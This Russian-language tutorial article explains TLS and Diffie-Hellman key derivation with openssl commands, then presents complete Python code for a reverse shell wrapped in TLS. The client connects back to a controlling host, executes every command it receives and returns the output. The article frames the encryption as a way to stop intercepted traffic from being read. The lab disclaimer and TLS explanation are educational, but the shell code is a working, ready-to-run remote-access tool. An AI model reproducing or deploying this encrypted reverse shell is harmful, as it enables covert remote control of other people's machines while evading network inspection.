Автор статьи никого не призывает к правонарушениям и отказывается нести ответственность за ваши действия. Вся информация предоставлена исключительно в ознакомительных целях. Все действия происходят на виртуальных машинах и внутри локальной сети автора. Спасибо!
В статье про работу с сокетами TCP мы не использовали шифрование при передаче данных, поэтому любой мог перехватить и прочитать нашу информацию. В статье «Шифрование файлов в Linux» мы немного потренировались в написании программы для шифрования/расшифрования текстовых файлов. Давайте копнем чуть глубже и защитим обратную TCP-оболочку, написанную в статье «Работаем с сокетами и разрабатываем обратную TCP-оболочку на Python». Также разберемся как по этапам происходит формирование общего секретного ключа на примере библиотеки openSSL.
Протокол TLS (transport layer security – протокол защиты транспортного уровня) использует ассиметричную криптографию для получения общего ключа. Протокол TLS основан на SSL и после стандартизации IETF эти имена стали взаимозаменяемыми.
Протокол TLS предназначен для предоставления трех услуг приложениям: шифрование, аутентификация и целостность. Более подробно можно почитать, например, в статье «Что такое TLS». Кратко говоря, протокол TLS позволяет создать зашифрованный канал между двумя сторонами.
Что понимается под обеспечением протоколом TLS целостности? При передаче информации хакер может подменить какие-нибудь биты и это повлияет на расшифровку сообщения. Протокол TLS использует коды аутентификации сообщений на основе хеш-функций (HMAC). Если сообщение будет подделано, то хеши не совпадут. Что если подделать не только сообщение, но и хеш-код? Чтобы исключить такую ситуацию, хеш-код генерируется достоверной стороной и объединяется с общим симметричным ключом, вычисленными в процессе обмена ключами. Таким образом, изменить хэш-код может только владелец закрытого симметричного ключа.
На данный момент последней версией протокола является TLS 1.3, которая исправила ситуацию с перехватом незашифрованных пакетов о согласовании между клиентом и сервером тип шифрования и длину ключа. Такая уязвимость позволяла хакерам уменьшать длину ключа до 1024 бит и впоследствии восстанавливать закрытый ключ.
Как используется алгоритм Диффи-Хеллмана для вычисления общего ключа
Перед началом передачи информации две стороны должны вычислить общий ключ. На первом этапе вычисляются специальные общие параметры. В библиотеке openSSL есть программа genpkey
для этих целей:
openssl genpkey -genparam -algorithm DH -out paramPG.pem
Вторым этапом является создание открытого и закрытого ключа. Для генерации открытого и закрытого ключа будут использоваться параметры, полученные на первом этапе:
openssl genpkey -paramfile paramPG.pem -out TestKeys.pem
Это мы сгенерировали ключи для одного участника. Теперь создадим пару ключей для второго. Важно: необходимо использовать те же самые параметры из первого этапа:
openssl genpkey -paramfile paramPG.pem -out TestKeysSecond.pem
На третьем этапе происходит обмен открытыми ключами с nonce-числами (случайное число, которое может быть использовано только один раз). Извлечен открытые ключи обоих участников соединения:
openssl pkey -in TestKeys.pem -pubout -out FirstPublicKey.pem
openssl pkey -in TestKeysSecond.pem -pubout -out SecondPublicKey.pem
Переходим к четвертому этапу – вычисление общего секретного ключа. Теперь оба участника могут получить один и тот же секретный ключ независимо друг от друга (помните, мы использовали одни и те же параметры при генерации открытого ключа?).
Воспользуемся утилитой pkeyutil из библиотеки openssl, чтобы сформировать при помощи параметра -derive
секретный ключ первого участника на основе открытого ключа второго участника (-peerkey
).
openssl pkeyutl -derive -inkey TestKeys.pem -peerkey SecondPublicKey.pem -out FirstShared.bin
openssl pkeyutl -derive -inkey TestKeysSecond.pem -peerkey FirstPublicKey.pem -out SecondShared.bin
Если не верите, что мы действительно получили один общий секретный ключ для двух участников независимо друг от друга, то можете сравнить их при помощи команды cmp
, которая ничего не выведет, если они одинаковые.
cmp FirstShared.bin SecondShared.bin
В предыдущем абзаце я немного вас обманул. Мы не получили общий ключ, но этого достаточно, чтобы перейти к пятому этапу. На данный момент мы имеем большое, псевдослучайное число, но блочным шифрам больше по душе однородные случайные строки, поэтому будем использовать функцию PBKDF2 – стандарт формирования ключа на основе пароля. В отличии от своей первой версии не ограничивает генерируемый ключ 160 битами.
openssl enc -aes-256-ctr -pbkdf2 -e -a -in answer -out encrypted.txt -pass file:FirstShared.bin
Закончим с теорией и перейдем к написанию программы на Python.
Пишем защищенные сокеты с использованием протокола TLS: клиентская часть
Для написания программы нам понадобятся модуль socket
и ssl
. Подключим их и создадим переменные с необходимыми ключами и сертификатами (их позднее создадим).
import socket
import ssl
if __name__ == '__main__':
client_key = 'client.key'
client_cert = 'client.crt'
server_cert = 'server.crt'
port = 8080
hostname = '127.0.0.1'
Далее создаем класс, который управляет сертификатами и параметрами сокета – SSL-контекст.
context = ssl.SSLContext(ssl.PROTOCOL_TLS, cafile=server_cert)
Давайте прервемся в написании программы и сгенерируем закрытый ключ и открытый сертификат сервера при помощи уже известной нам библиотеки openssl.
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout server.key -out server.crt
Вас спросят различные данные, идентифицирующие вашу организацию: заполните их.
Флаг -new
, как вы вероятно догадались, запрашивает новый ключ, а -newkey rsa:4096
говорит, что нам нужен новый ключ RSA длиной 4096 бит. Параметр -days
сообщает количество дней, сколько будет действовать сертификат, а -nodes
указывает, что созданный закрытый ключ не нужно шифровать. Ключ -x509
– стандарт открытого ключа. Флаг -keyout
сообщает имя файла закрытого и открытого ключа, а -out
имя файла сертификата. Повторите то же для клиента:
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout client.key -out client.crt
Ключи и сертификаты поместите в папку с программой. Продолжаем написание TLS-сокетов. Загрузим закрытый ключ и сертификат клиента:
context.load_cert_chain(certfile=client_cert, keyfile=client_key)
Далее загружаем сертификат центра сертификации (ссылка на документацию). Так же нам нужно указать, что делать в случае неудачной проверке сертификата. Установим этот параметр в CERT_REQUIERED. Еще нас интересует options, для которого мы установим необходимый бит (при помощи операции OR
«|
») OP_SINGLE_ECDH_USE для предотвращения использования одного и того же ключа ECDH для разный SSL сеансов, что повышает секретность передачи.
context.load_verify_locations(cafile=server_cert)
context.verify_mode = ssl.CERT_REQUIRED
context.options |= ssl.OP_SINGLE_ECDH_USE
Также запретим подключение к старым версиям протокола TLS:
context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1_2
Далее создаем новый сокет и помещаем его в SSL-контекст для обеспечения шифрования всей информации перед отправкой в сокет.
Пишем защищенные сокеты с использованием протокола TLS: серверная часть
Серверная часть аналогична клиентской. В обертке сокета мы указываем параметр server_side как True. В статье «Работаем с сокетами и разрабатываем обратную TCP-оболочку» мы разобрались с сокетами и как выполнять команды на целевой машине, в которой запущена обратная оболочку. Улучшим нашу обратную оболочку. Ее серверная часть:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import socket
import ssl
if __name__ == '__main__':
client_cert = 'client.crt'
server_key = 'server.key'
server_cert = 'server.crt'
port = 8080
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.verify_mode = ssl.CERT_REQUIRED
context.load_verify_locations(cafile=client_cert)
context.load_cert_chain(certfile=server_cert, keyfile=server_key)
context.options |= ssl.OP_SINGLE_ECDH_USE
context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1_2
with socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) as sock:
sock.bind(('', port))
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.listen(1)
ssock = context.wrap_socket(sock, server_side=True)
conn, addr = ssock.accept()
command = ''
while True:
try:
command = input(f'Enter {addr}: ')
conn.send(command.encode())
message = conn.recv(1024).decode()
print(message)
except KeyboardInterrupt:
break
Клиентская часть немного изменена относительно ранее представленного кода (напомню, IP-адрес сервера 192.168.1.100
):
import socket
import ssl
from subprocess import Popen, PIPE
if __name__ == '__main__':
client_key = 'client.key'
client_cert = 'client.crt'
server_cert = 'server.crt'
port = 8080
hostname = '192.168.1.100'
context = ssl.SSLContext(ssl.PROTOCOL_TLS, cafile=server_cert)
context.load_cert_chain(certfile=client_cert, keyfile=client_key)
context.load_verify_locations(cafile=server_cert)
context.verify_mode = ssl.CERT_REQUIRED
context.options |= ssl.OP_SINGLE_ECDH_USE
context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1_2
with socket.create_connection((hostname, port)) as sock:
ssock = context.wrap_socket(sock, server_side=False, server_hostname=hostname)
# print(ssock.version())
command = ssock.recv(4096).decode()
while command != 'exit':
proc = Popen(command.split(" "), stdout=PIPE, stderr=PIPE)
result, err = proc.communicate()
ssock.send(result)
command = (ssock.recv(4096)).decode()
Проверка работы TLS-сокетов
Запустите сервер и обратную оболочку из статьи «Работаем с сокетами и разрабатываем обратную TCP-оболочку». Теперь запустите WireShark и включите захвата пакетов. Для теста я запустил обратную оболочку на Windows 10 с IP-адресом 192.168.1.107
. На сервере ввел команду cmd /c dir
и получил ответ от обратной оболочки.
Как вы видите, было передано три TCP-пакета: запрос, ответ и подтверждение о получении. Нажмем правой кнопкой мыши по пакету и выберем пункт Follow -> TCP Stream. Все запросы и ответы как на ладони. Как вы помните, в статье «Перехватываем трафик при помощи ARP-спуфинга и учимся защищаться от него» мы использовали утилиту arpspoof и написали свою программу на Python для ARP-спуфинга, с помощью которых мы можем перехватить и просмотреть весь незашифрованный трафик. Кстати, для этих целей есть еще стандартная в Kali Linux программа с GUI интерфейсом Ettercap с различными плагинами и возможностями, которую мы не рассматривали в предыдущей статье.
Теперь запустите защищенную протоколом TLS обратную оболочку и сервер из этой статьи. После установления соединения сервера и клиента запустите WireShark и включите захват пакетов. Выполните такую же команду и попробуйте восстановить TCP поток. Как вы видите, данные зашифрованы.
В этой статье мы научились своими руками создавать общий секретный ключ при помощи библиотеки openssl и доработали обратную TCP-оболочку: зашифровали канал передачи данных.